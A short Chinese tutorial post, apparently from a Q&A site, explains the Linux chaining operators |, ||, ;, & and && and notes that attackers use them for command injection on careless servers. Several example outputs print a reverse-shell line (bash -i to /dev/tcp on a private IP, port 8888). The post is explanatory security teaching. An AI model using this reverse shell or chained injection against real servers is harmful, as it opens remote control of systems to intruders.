命令拼接符

Linux多命令顺序执行符号需要记住5个 【】【||】【 ;】 【&】 【&&】 ,在命令执行里面,如果服务器疏忽大意没做限制,黑客通过高命令拼接符,可以输入很多非法的操作。

ailx10
1525 次咨询

4.9
网络安全优秀回答者
网络安全硕士
去咨询

】管道符,前面的输出,作为后面的输入,前面后面出错,语句都会出错

pwd | cat index.html 

bash -i >& /dev/tcp/192.168.0.101/8888 0>&1

||】前面的执行成功,后面的不会程序,前面的执行失败,后面的会执行

pwd || cat index.html

/Users/ailx10

 ;】分号,前后没有任何逻辑关系,不管是否正确,都会一直执行下去

pwd ; cat index.html

/Users/ailx10
bash -i >& /dev/tcp/192.168.0.101/8888 0>&1

&】前面在后台跑,然后执行后面的程序

pwd & cat index.html

[1] 20284
/Users/ailx10
[1]  + done       pwd
bash -i >& /dev/tcp/192.168.0.101/8888 0>&1

&&】前面的执行成功,才会执行后面的,前面的执行不成功,后面的不会执行

pwd && cat index.html

/Users/ailx10
bash -i >& /dev/tcp/192.168.0.101/8888 0>&1

举个例子,在Mac/Linux 系统中,我不知道哪个端口在对外提供服务,我该如何找到它?那么就可以使用管道符【|】,将左边的查询结果,传递给右边的筛选命令,最后输出我们想要的结果。 这里很轻松的发现我的Mac电脑开启了一个Web服务,端口是7777,并且是Python程序起的服务。

sudo lsof -i -P | grep LISTEN